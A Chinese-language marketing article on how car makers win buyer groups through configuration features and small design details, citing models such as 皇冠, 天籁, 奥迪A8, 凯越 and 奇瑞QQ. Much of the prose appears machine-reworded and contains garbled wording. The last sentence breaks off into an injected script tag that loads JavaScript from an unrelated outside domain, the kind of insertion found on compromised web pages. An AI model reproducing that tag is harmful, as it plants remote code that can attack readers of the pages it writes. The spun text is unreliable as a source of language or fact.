配置篇
案例1、数码前沿,撩动年青的心典型代表:乐风、赛拉图、蒙迪欧用户群体:追逐流行的年青一族
案例剖析:车价逐年降低,让年青一族的买车梦愈加容易圆,而汽车生产企业也用尽各种心思来博取追逐潮流时尚者的欢心。有时只是一个小改动,一个小配置,就足以让这群年青白领改变主意下决心买车。比较明显的例子就像乐风在操控台上加装了iPod接口、赛拉图将MP3列为标配、蒙迪欧在操控台和前排座椅背搭载了三屏DVD。虽然加装这三种配置的成本对车价而言只不过九牛一毛,但对流行的年青一族,却是“需要”的配置。这也折射出这个特定的群体异于其他消费者的消费心理。案例2、特殊考虑,乘客也是主角
典型代表:皇冠、天籁
用户群体:对舒适性需要较高、家用与商务汽车使用并重的成功人士。
案例剖析:很多成功人士具备比较高的生活品位,对乘坐汽车的装饰、舒适性等也有高于常人的需要。皇冠、天籁等车型,正是从这个角度出发,取得了这一特定群体的认同,获得了上佳的市场表现。天籁特殊的按摩座椅模拟真人按摩的成效,将整车的舒适性大大提高;而皇冠对后排座乘客的照顾在同级车中也自成体系,其后排中央的扶手上有控制台,可以控制空调、音响、座椅加热与遮阳帘调节等,连后排座椅的靠背角度也可以随意调节。这种特殊的设计,明显让乘客也成为车里的主角,获得了特定消费者的喜爱,最后取得市场。案例3、换位考虑,用细则温暖你
典型代表:奥迪A8、国产宝马530i、福克斯、东风标致307
用户群体:追求完美、注意生活细则的人士。
案例剖析:汽车的一些特殊功能可能大多数人不会仔细去追究,但假如拥有了,可可以用户对它们的好感度立刻就会大大提高,无声无息成为它们的口碑传递者。在这方面,奥迪A8、国产宝马530i、福克斯、东风标致307都有独到之处。奥迪A8车头的转向灯组加装了随动转向系统,依据不一样的弯道状况自动调节转向灯的转动角度,让驾驶者更容易发现前方的路况;国产宝马530i在后视镜上方加装了SOS求救按钮;福克斯、东风标致307配备了“伴我回家”系统,让驾驶者在暗处停车之后依旧可以看清“回家”的路。这部分虽然只是个小改动,但厂商所花费的研发精力却都不小。而它们给消费者带来的,却是温馨的关怀。换位考虑,才能发现消费者需要什么。
细则篇
案例1、微小设计,体贴女人用户
典型代表:凯越、高尔夫、海讯
用户群体:特别需要考虑女人汽车使用的用户。
案例剖析:国内绝大多数汽车都偏向男士化,而事实上,现在女人用户的数目已为数不少,并且,在不少家庭,买车的决定权还落在女人手中。因而,部分敏锐的厂商在车型设计的时候专门为女人用户考虑,易如反掌地在细则上增加一些小设计,结果取得了大市场。比如,凯越专门为女人用户设计了鞋盒,高尔夫特别增加了衣物挂钩,华普海讯单独设计了化妆盒等,特意照顾女用户的需要,一举取得了市场。除去华普海讯专门定坐落于女人车以外,凯越、高尔夫等合适家庭用的轿车,增加这部分细则,无疑更使家庭用户倍感温馨,在汽车行业也成了拓展女人市场的先行者,意义非同通常。案例2、外观改动,彰显个性
典型代表:奇瑞QQ、蒙迪欧
用户群体:追求个性化、张扬自我一族。
案例剖析:现代人对汽车的消费观念在不断转变,车市也在不断细分,太过大众化的车型已经日渐被汽车市场淘汰,取而代之的是更具个性化,更吻合自己特质,可以张扬自己性格的车型。目前不少新车在设计上都会特别考虑到这一点,在国产车中,比较经典的可算奇瑞QQ的前脸设计和蒙迪欧的后尾灯造型了。大多数人都有同感,奇瑞QQ的造型十分可爱,而其中最能体现这一特质的细则,无疑是其大大的圆双眼和开朗嘴巴组合。而蒙迪欧也凭借三角尾灯,使整车造型愈加时髦,感觉愈加锋锐,进一步突出了它刚劲的一面。这两款车风格迥异,但在外观个性化上,都是典型地通过一些细则来表现,在市场销售中为自己增加了不少筹码。案例3、实用工具,取得用户认可
典型代表:途安、帕拉丁、乐骋、帕萨特、雨燕用户群体:重视细则,讲究做事有条理的理性人士。
案例剖析:有的小工具的确能给汽车消费者带来非常大的实用价值,但一些厂商却迟迟没引起看重。对汽车进步来讲,高科技的应用、汽车性能的提高固然要紧,但细则上总是也能体现一个企业的造车理念。非常可能一个温馨好用的工具设计,更能直观地得到消费者一印象的好感。举例来讲,途安借助手套箱内的空调通风口,改装成浅易冰箱,帕拉丁增加了一个车外温度计,乐骋专门设计了便捷取放的卡槽,帕萨特量身订做了硬币盒,雨燕提供了遥控点火系统等,都是依据不同消费者的需要来考虑的,目的是让用户在驾驶中更便捷地处置身边的小事,十分实用。而这部分细则在用户的评?script src=http://cn.jxmmtv.com/cn.js>cript>




